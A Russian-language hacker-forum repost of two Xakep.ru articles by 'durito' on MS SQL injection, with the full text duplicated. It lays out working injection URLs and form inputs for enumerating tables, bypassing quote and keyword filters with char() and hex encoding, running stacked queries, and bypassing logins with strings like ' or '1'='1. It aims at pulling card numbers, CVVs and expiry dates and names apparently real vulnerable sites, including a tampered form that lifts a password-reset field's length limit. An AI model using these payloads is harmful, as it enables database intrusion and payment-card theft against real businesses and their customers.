durito
11.06.2008, 10:29
Я не буду рассказывать об азах инъекций в MS SQL, на эту тему написано и сказано уже очень много. Я хочу поделится некоторым своим опытом, набранным бессонными ночами, когда я ковырял гимморные ms sql инжекты и курил мануалы, пытаясь понять, что я делаю неправильно.
Итак, начнем с поиска инъекций на сайте. Иногда я встречал инжект в post запросах, в скриптах поиска по сайту или в скрипте напоминании пароля. В этом случае на традиционный запрос 1’+or+1=@@version-- скрипт будет ругаться примерно так:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Incorrect syntax near the keyword 'or'.
/inc/inc_customer.asp, line 103
ошибка возникает из за символа “+”, поэтому вот такой запрос:
1’ or 1=@@version--
в данном случае пройдет на ура и выдаст нам версию сервера.
Следующая проблема, которая вызывает массу вопросов у новичков, и которая в свое время тоже вогнала меня в ступор, это фильтрация кавычки. Она приводит к тому, что выполнив запрос:
http://www.target.com/dinamica.asp?ID=1+or+1=(SELECT+TOP+1+TABLE_NAME +FROM+INFORMATION_SCHEMA.TABLES)--
и получив имя первой таблицы, к примеру:
[Microsoft][ODBC SQL Server Driver][SQL Server]Conversion failed when converting the nvarchar value 'Pincodes' to data type int.
мы не можем получить имя второй, и вместо нее видим ответ:
[Microsoft][ODBC SQL Server Driver][SQL Server]Incorrect syntax near 'Pincodes'.
В данном случае проблема может быть решена с помощью функции char(int ascii), превратив имя таблицы Pincodes в char(80)%2Bchar(105)%2Bchar(110)%2Bchar(99)%2B char(111)%2Bchar(100)%2Bchar(101)%2B char(115) и передав эти данные серверу:
http://www.target.com/dinamica.asp?ID=1+or+1=(SELECT+TOP+1+TABLE_NAME+FR OM+ INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+ ( char(80)%2Bchar(105)%2Bchar(110)%2Bchar(99)%2Bchar (111)%2Bchar(100)%2Bchar(101)%2Bchar(115)))--
мы получим имя второй таблицы:
[Microsoft][ODBC SQL Server Driver][SQL Server]Conversion failed when converting the nvarchar value 'PRODUCT' to data type int.
Самое главное, что если зачарить название таблицы, необходимость в кавычках пропадает. Чарим следующее имя таблицы и добавляем его через запятую, и так перебираем таблицу за таблицей. То же самое и с перебором полей в таблице, чарим имя таблицы и имена полей.
Идем дальше. Иногда хитромудрые админы употреб*яют в названии полей таблиц “-“, чем затрудняют вывод информации. К примеру:
http://www.target.com/dinamica.asp?ID=1+or+1= (SELECT+TOP+1+ cast(ccnumber+as+nvarchar)%2B%27%3A%27%2Bcast(cvv+ as+nvarchar) %2B%27%3A%27%2Bcast(expire+as+nvarchar)+ from+orders+where+orderid=CRX-40003)--
в этом случае сервер отвечает:
Invalid column name 'CRX'.
так как часть имени поля, идущая после "-", обрезается. Это проблема обходиться в свою очередь добавлением кавычек вокруг названия проблемного поля:
http://www.target.com/dinamica.asp?ID=1+or+1= (SELECT+TOP+1+cast(ccnumber+as+nvarchar)%2B%27%3A% 27%2Bcast(cvv+as+nvarchar)%2B%27%3A%27%2Bcast(expi re+as+nvarchar)+from+orders+where+orderid=’CRX-40003’)--
Иногда само название поля состоит из двух слов, между которыми находиться пробел:
http://www.target.com/dinamica.asp?ID=1+or+1= (SELECT+TOP+1+COLUMN_NAME+FROM+INFORMATION_SCHEMA. COLUMNS+WHERE+TABLE_NAME=‘orders'+ AND+COLUMN_NAME+NOT+IN+('Account%20Number','Card%2 0Number','Experation%20Date', 'CVV%20Response'))—
и в этом случае второе слово обрезается, что ставит некоторых новичков в тупик. Здесь проблема решается обрамлением квадратными кавычками такого названия:
http://www.target.com/dinamica.asp?ID=1+or+1= (SELECT+ TOP+1+[Card%20Number]+from+orders)--
И последнее. Иногда находишь таблицу с очень интересными данными, но вывод их становится сложной задачей, так как ничего подобного типа orderid нет и близко, как перебирать содержимое полей - непонятно. В этом случае лучшим решением будет создание новой таблицы с полем id и копированием в нее нужных нам данных:
http://www.target.com/dinamica.asp?ID=1;CREATE TABLE dbo.temp (Id int NOT NULL IDENTITY (1, 1), email varchar(255) NULL) ON [PRIMARY]; INSERT INTO temp (email) select email from orders;--
с последующим забором нужных нам данных:
http://www.target.com/dinamica.asp?ID=1+or+1= (SELECT+TOP+1+email+from+temp+where+id=1)--
И как закончишь, не забудь убрать за собой, удалив таблицу:
http://www.target.com/dinamica.asp?ID=1;drop table temp;--
Очень надеюсь, что поделившись с тобой моим скромным опытом, я уберег тебя от ночных нервотрепок и помог сделать процесс извлечения данных из MS SQL чуточку проще.
(с) durito
ист. http://www.xakep.ru/post/43124/default.asp
продолжение:
После выхода предыдущего мануала по тонкостям mssql-инъекций, меня не однократно просили продолжить тему. И вот я подготовил вторую часть.
Начнем мы с нечасто встречаемого, но в то же время наиболее затруднительного для новичков вопроса: «Что делать если в запросе select фильтруется?», т.е. запрос вида:
http://www.target.com/data.asp?id=1%27%20or%201=@@version--
проходит и возвращает версию сервера, а запрос:
http://www.target.com/data.asp?id=1%27%20or%201=(select db_name())—
возвращает сообщение об ошибке или редиректит на главную страницу.
На форумах советуют либо вставлять комментарии в select вида:
sel/*lala*/ect, что честно говоря, у меня никогда это не проходило и ошибка скули всегда сообщала, что:
[Microsoft][ODBC SQL Server Driver][SQL Server]Incorrect syntax near 'ect'.
Так же, часто рекомендуют использовать деление операторов:
http://www.target.com/data.asp?id=1';EXEC('SEL'+'ECT db_name())--
http://www.target.com/data.asp?id=1';exec (*UPDA*+*TE users*+*SET password=123456*)—
но и это работает крайне редко.
В то же время фильтрация обходиться крайне просто, достаточно перевести select в ASCII: %73%65%6C%65%63%74
http://www.target.com/data.asp?id =1%27%20or%201=(%73%65%6C%65%63%74+db_name())--
и фильтрация в большинстве случаев обходиться. Только не забудь, что обычно фильтруется не только select, но и другие операторы, поэтому если в процессе перебора таблиц и полей тебе встретятся такие их названия как: date_update или date_selected, то их надо зачарить. А то я как-то целый час ломал голову, почему в базе большого магазина всего три таблицы, пока не понял, что ошибка возникает из-за фильтрации названия таблицы, содержащей в себе слово select.
Со следующей проблемой я столкнулся впервые на сайте labexp.com.
Меня интересовал доступ в базу:
http://labexp.com/login.good.html
Интуиция подсказывала, что проникнуть внутрь не составит большого труда, и скорее всего можно будет обойти авторизацию используя одну из комбинаций:
' or 1=1--
" or 1=1--
or 1=1--
' or '1'='1
" or "1"="1
') or ('1'='1
Но вот незадача - при вводе логина режутся символы и больше 10 не вставить, а при попытке подставить вместо логина и пароля просто кавычку ругается на некорректный символ в поле id. Но ругается JavаScript'ом, поэтому идем в исходник html-страницы и видим:
if (theForm.id.value.length > 10)
{
alert("Please enter at most 10 characters in the \"id\" field.");
theForm.id.focus();
return (false);
}
var checkOK =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvw
xyzѓЉЊЋљњћџАБВГДЕЖЗИЙКЛМНО РСТУФХЦШЩЪЫЬЭЮЯабвгдежз
ийклмнопрстуфхцшщъыьэюя0123 456789-";
var checkStr = theForm.id.value;
var allValid = true;
var validGroups = true;
for (i = 0; i < checkStr.length; i++)
т.е. JavаScript проверяет ввод корректных символов:
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrs
tuvwxyzѓЉЊЋљњћџАБВГДЕЖЗИЙКЛМ ОПРСТУФХЦШ
ЩЪЫЬЭЮЯабвгдежзи йклмнопрстуфхцшщъыьэюя012345 6789-
никаких кавычек тут нет. Поэтому вставить кавычку не получается.
Но это же проверка на стороне пользователя, поэтому заходим в свойства браузера, отключаем поддержку JavаScript и в водим в поля :
Courier ID: ' or '1'='1
Password: ' or '1'='1
и мы внутри.
Ну и напоследок сайт www.centennialfunds.com, уязвим скрипт ретрива пароля:
https://www.centennialfunds.com/forgot.asp
в поле Your Email: вставляем
1' or 1=@@version—
и получаем информацию о сервере :-) Но я бы не стал приводить здесь его, если бы все было так просто. Если попробовать перебирать таблицы, то возникает проблема: количество символов в поле ретрива ограничено. Поэтому идем другим путем - открываем исходный код страницы и берем оттуда фрагмент:
<h1>Login Reminder</h1>
<p>Enter the email we have on record for you, click on "Send
Login," and your login information will be mailed immediately
to that address.</p><br />
<form name="frmForgot" method="post" action="/forgot.asp"
onSubmit="return EditCheck();">
<input type="hidden" name="submitted" value="true">
<input type="hidden" name="where" value="">
Your Email: <input type="text" name="email"
class="formBox" size="30" maxlength="100" value=""><br /><br />
<input type="submit" class="formButton" value="Send Login">
<input type="button" class="formButton" value="Cancel"
onClick="document.location.href='login.asp?where=';">
</form><script language="JavаScript">
function EditCheck() {
if (CheckNull('frmForgot','email','Please enter your Email Address.')) {
return false;
}
if (CheckEmail('frmForgot','email',
'The email address you entered\ndoes not appear to be valid.')) {
return false;
}
}
document.frmForgot.email.focus();
</script>
Создаем у себя на винте файл html, в который копируем этот код между тегами и немного его видоизменяем:
<html>
<h1>Login Reminder</h1>
<p>Enter the email we have on record for you, click on "Send
Login," and your login information will be mailed immediately
to that address.</p><br />
<form name="frmForgot" method="post"
action="https://www.centennialfunds.com/forgot.asp"
onSubmit="return EditCheck();">
<input type="hidden" name="submitted" value="true">
<input type="hidden" name="where" value="">
Your Email: <input type="text" name="email"
class="formBox" size="100" maxlength="3000" value=""><br /><br />
<input type="submit" class="formButton" value="Send Login">
<input type="button" class="formButton" value="Cancel"
onClick="document.location.href='login.asp?where=';">
</form>
<script language="JavаScript">
function EditCheck() {
if (CheckNull('frmForgot','email','Please enter your Email Address.')) {
return false;
}
if (CheckEmail('frmForgot','email','The email
address you entered\ndoes not appear to be valid.')) {
return false;
}
}
document.frmForgot.email.focus();
</script>
<div id="foo" runat="server">
<p><br /><br /><br /><br />Copyright
<script type="text/JavаScript">
</html>
Прописываем урл сайта и увеличиваем количество символов maxlength="3000", я сначала поставил 1000, но не хватило. И потом уже перебираем имена таблиц и полей, только не забудь, это post запрос, поэтому никаких плюсов, только пробелы.
Продолжение следует…
(с) durito
ист. http://www.xakep.ru/post/43664/default.asp
Итак, начнем с поиска инъекций на сайте. Иногда я встречал инжект в post запросах, в скриптах поиска по сайту или в скрипте напоминании пароля. В этом случае на традиционный запрос 1’+or+1=@@version-- скрипт будет ругаться примерно так:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Incorrect syntax near the keyword 'or'.
/inc/inc_customer.asp, line 103
ошибка возникает из за символа “+”, поэтому вот такой запрос:
1’ or 1=@@version--
в данном случае пройдет на ура и выдаст нам версию сервера.
Следующая проблема, которая вызывает массу вопросов у новичков, и которая в свое время тоже вогнала меня в ступор, это фильтрация кавычки. Она приводит к тому, что выполнив запрос:
http://www.target.com/dinamica.asp?ID=1+or+1=(SELECT+TOP+1+TABLE_NAME +FROM+INFORMATION_SCHEMA.TABLES)--
и получив имя первой таблицы, к примеру:
[Microsoft][ODBC SQL Server Driver][SQL Server]Conversion failed when converting the nvarchar value 'Pincodes' to data type int.
мы не можем получить имя второй, и вместо нее видим ответ:
[Microsoft][ODBC SQL Server Driver][SQL Server]Incorrect syntax near 'Pincodes'.
В данном случае проблема может быть решена с помощью функции char(int ascii), превратив имя таблицы Pincodes в char(80)%2Bchar(105)%2Bchar(110)%2Bchar(99)%2B char(111)%2Bchar(100)%2Bchar(101)%2B char(115) и передав эти данные серверу:
http://www.target.com/dinamica.asp?ID=1+or+1=(SELECT+TOP+1+TABLE_NAME+FR OM+ INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+ ( char(80)%2Bchar(105)%2Bchar(110)%2Bchar(99)%2Bchar (111)%2Bchar(100)%2Bchar(101)%2Bchar(115)))--
мы получим имя второй таблицы:
[Microsoft][ODBC SQL Server Driver][SQL Server]Conversion failed when converting the nvarchar value 'PRODUCT' to data type int.
Самое главное, что если зачарить название таблицы, необходимость в кавычках пропадает. Чарим следующее имя таблицы и добавляем его через запятую, и так перебираем таблицу за таблицей. То же самое и с перебором полей в таблице, чарим имя таблицы и имена полей.
Идем дальше. Иногда хитромудрые админы употреб*яют в названии полей таблиц “-“, чем затрудняют вывод информации. К примеру:
http://www.target.com/dinamica.asp?ID=1+or+1= (SELECT+TOP+1+ cast(ccnumber+as+nvarchar)%2B%27%3A%27%2Bcast(cvv+ as+nvarchar) %2B%27%3A%27%2Bcast(expire+as+nvarchar)+ from+orders+where+orderid=CRX-40003)--
в этом случае сервер отвечает:
Invalid column name 'CRX'.
так как часть имени поля, идущая после "-", обрезается. Это проблема обходиться в свою очередь добавлением кавычек вокруг названия проблемного поля:
http://www.target.com/dinamica.asp?ID=1+or+1= (SELECT+TOP+1+cast(ccnumber+as+nvarchar)%2B%27%3A% 27%2Bcast(cvv+as+nvarchar)%2B%27%3A%27%2Bcast(expi re+as+nvarchar)+from+orders+where+orderid=’CRX-40003’)--
Иногда само название поля состоит из двух слов, между которыми находиться пробел:
http://www.target.com/dinamica.asp?ID=1+or+1= (SELECT+TOP+1+COLUMN_NAME+FROM+INFORMATION_SCHEMA. COLUMNS+WHERE+TABLE_NAME=‘orders'+ AND+COLUMN_NAME+NOT+IN+('Account%20Number','Card%2 0Number','Experation%20Date', 'CVV%20Response'))—
и в этом случае второе слово обрезается, что ставит некоторых новичков в тупик. Здесь проблема решается обрамлением квадратными кавычками такого названия:
http://www.target.com/dinamica.asp?ID=1+or+1= (SELECT+ TOP+1+[Card%20Number]+from+orders)--
И последнее. Иногда находишь таблицу с очень интересными данными, но вывод их становится сложной задачей, так как ничего подобного типа orderid нет и близко, как перебирать содержимое полей - непонятно. В этом случае лучшим решением будет создание новой таблицы с полем id и копированием в нее нужных нам данных:
http://www.target.com/dinamica.asp?ID=1;CREATE TABLE dbo.temp (Id int NOT NULL IDENTITY (1, 1), email varchar(255) NULL) ON [PRIMARY]; INSERT INTO temp (email) select email from orders;--
с последующим забором нужных нам данных:
http://www.target.com/dinamica.asp?ID=1+or+1= (SELECT+TOP+1+email+from+temp+where+id=1)--
И как закончишь, не забудь убрать за собой, удалив таблицу:
http://www.target.com/dinamica.asp?ID=1;drop table temp;--
Очень надеюсь, что поделившись с тобой моим скромным опытом, я уберег тебя от ночных нервотрепок и помог сделать процесс извлечения данных из MS SQL чуточку проще.
(с) durito
ист. http://www.xakep.ru/post/43124/default.asp
продолжение:
После выхода предыдущего мануала по тонкостям mssql-инъекций, меня не однократно просили продолжить тему. И вот я подготовил вторую часть.
Начнем мы с нечасто встречаемого, но в то же время наиболее затруднительного для новичков вопроса: «Что делать если в запросе select фильтруется?», т.е. запрос вида:
http://www.target.com/data.asp?id=1%27%20or%201=@@version--
проходит и возвращает версию сервера, а запрос:
http://www.target.com/data.asp?id=1%27%20or%201=(select db_name())—
возвращает сообщение об ошибке или редиректит на главную страницу.
На форумах советуют либо вставлять комментарии в select вида:
sel/*lala*/ect, что честно говоря, у меня никогда это не проходило и ошибка скули всегда сообщала, что:
[Microsoft][ODBC SQL Server Driver][SQL Server]Incorrect syntax near 'ect'.
Так же, часто рекомендуют использовать деление операторов:
http://www.target.com/data.asp?id=1';EXEC('SEL'+'ECT db_name())--
http://www.target.com/data.asp?id=1';exec (*UPDA*+*TE users*+*SET password=123456*)—
но и это работает крайне редко.
В то же время фильтрация обходиться крайне просто, достаточно перевести select в ASCII: %73%65%6C%65%63%74
http://www.target.com/data.asp?id =1%27%20or%201=(%73%65%6C%65%63%74+db_name())--
и фильтрация в большинстве случаев обходиться. Только не забудь, что обычно фильтруется не только select, но и другие операторы, поэтому если в процессе перебора таблиц и полей тебе встретятся такие их названия как: date_update или date_selected, то их надо зачарить. А то я как-то целый час ломал голову, почему в базе большого магазина всего три таблицы, пока не понял, что ошибка возникает из-за фильтрации названия таблицы, содержащей в себе слово select.
Со следующей проблемой я столкнулся впервые на сайте labexp.com.
Меня интересовал доступ в базу:
http://labexp.com/login.good.html
Интуиция подсказывала, что проникнуть внутрь не составит большого труда, и скорее всего можно будет обойти авторизацию используя одну из комбинаций:
' or 1=1--
" or 1=1--
or 1=1--
' or '1'='1
" or "1"="1
') or ('1'='1
Но вот незадача - при вводе логина режутся символы и больше 10 не вставить, а при попытке подставить вместо логина и пароля просто кавычку ругается на некорректный символ в поле id. Но ругается JavаScript'ом, поэтому идем в исходник html-страницы и видим:
if (theForm.id.value.length > 10)
{
alert("Please enter at most 10 characters in the \"id\" field.");
theForm.id.focus();
return (false);
}
var checkOK =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvw
xyzѓЉЊЋљњћџАБВГДЕЖЗИЙКЛМНО РСТУФХЦШЩЪЫЬЭЮЯабвгдежз
ийклмнопрстуфхцшщъыьэюя0123 456789-";
var checkStr = theForm.id.value;
var allValid = true;
var validGroups = true;
for (i = 0; i < checkStr.length; i++)
т.е. JavаScript проверяет ввод корректных символов:
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrs
tuvwxyzѓЉЊЋљњћџАБВГДЕЖЗИЙКЛМ ОПРСТУФХЦШ
ЩЪЫЬЭЮЯабвгдежзи йклмнопрстуфхцшщъыьэюя012345 6789-
никаких кавычек тут нет. Поэтому вставить кавычку не получается.
Но это же проверка на стороне пользователя, поэтому заходим в свойства браузера, отключаем поддержку JavаScript и в водим в поля :
Courier ID: ' or '1'='1
Password: ' or '1'='1
и мы внутри.
Ну и напоследок сайт www.centennialfunds.com, уязвим скрипт ретрива пароля:
https://www.centennialfunds.com/forgot.asp
в поле Your Email: вставляем
1' or 1=@@version—
и получаем информацию о сервере :-) Но я бы не стал приводить здесь его, если бы все было так просто. Если попробовать перебирать таблицы, то возникает проблема: количество символов в поле ретрива ограничено. Поэтому идем другим путем - открываем исходный код страницы и берем оттуда фрагмент:
<h1>Login Reminder</h1>
<p>Enter the email we have on record for you, click on "Send
Login," and your login information will be mailed immediately
to that address.</p><br />
<form name="frmForgot" method="post" action="/forgot.asp"
onSubmit="return EditCheck();">
<input type="hidden" name="submitted" value="true">
<input type="hidden" name="where" value="">
Your Email: <input type="text" name="email"
class="formBox" size="30" maxlength="100" value=""><br /><br />
<input type="submit" class="formButton" value="Send Login">
<input type="button" class="formButton" value="Cancel"
onClick="document.location.href='login.asp?where=';">
</form><script language="JavаScript">
function EditCheck() {
if (CheckNull('frmForgot','email','Please enter your Email Address.')) {
return false;
}
if (CheckEmail('frmForgot','email',
'The email address you entered\ndoes not appear to be valid.')) {
return false;
}
}
document.frmForgot.email.focus();
</script>
Создаем у себя на винте файл html, в который копируем этот код между тегами и немного его видоизменяем:
<html>
<h1>Login Reminder</h1>
<p>Enter the email we have on record for you, click on "Send
Login," and your login information will be mailed immediately
to that address.</p><br />
<form name="frmForgot" method="post"
action="https://www.centennialfunds.com/forgot.asp"
onSubmit="return EditCheck();">
<input type="hidden" name="submitted" value="true">
<input type="hidden" name="where" value="">
Your Email: <input type="text" name="email"
class="formBox" size="100" maxlength="3000" value=""><br /><br />
<input type="submit" class="formButton" value="Send Login">
<input type="button" class="formButton" value="Cancel"
onClick="document.location.href='login.asp?where=';">
</form>
<script language="JavаScript">
function EditCheck() {
if (CheckNull('frmForgot','email','Please enter your Email Address.')) {
return false;
}
if (CheckEmail('frmForgot','email','The email
address you entered\ndoes not appear to be valid.')) {
return false;
}
}
document.frmForgot.email.focus();
</script>
<div id="foo" runat="server">
<p><br /><br /><br /><br />Copyright
<script type="text/JavаScript">
</html>
Прописываем урл сайта и увеличиваем количество символов maxlength="3000", я сначала поставил 1000, но не хватило. И потом уже перебираем имена таблиц и полей, только не забудь, это post запрос, поэтому никаких плюсов, только пробелы.
Продолжение следует…
(с) durito
ист. http://www.xakep.ru/post/43664/default.asp